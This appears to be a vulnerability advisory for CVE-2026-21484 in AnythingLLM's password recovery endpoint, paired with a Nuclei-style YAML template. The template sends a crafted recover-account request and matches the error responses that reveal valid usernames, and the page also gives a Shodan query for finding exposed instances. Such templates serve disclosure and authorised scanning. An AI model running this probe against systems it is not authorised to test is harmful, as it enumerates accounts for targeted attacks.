AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.
PoC
id: CVE-2026-21484
info:
name: AnythingLLM - Username Enumeration via Password Recovery
author: DhiyaneshDk
severity: medium
description: |
AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.
impact: |
Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.
remediation: Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.
reference:
- https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-21484
epss-score: 0.00779
epss-percentile: 0.54147
cwe-id: CWE-203,CWE-204
metadata:
verified: true
max-request: 2
vendor: mintplex-labs
product: anything-llm
shodan-query: http.favicon.hash:-1279687529
tags: cve,cve2026,anythingllm,user-enum
variables:
rc1: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
rc2: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
rc3: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
rc4: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
http:
- raw:
- |
POST /api/system/recover-account HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"username":"{{randstr}}","recoveryCodes":["{{rc3}}","{{rc4}}"]}
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains_all(body, "Invalid recovery codes","success")'
condition: and
# digest: 4a0a00473045022100fa9baebd69f2fb779c0ed6a14ca0409e541dad6c1e71f10df1643bc2d95c67be022036dacbc60f6fad4e8f98925c8a1a45667eee16789263e9f64662e61f4c2e14d7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.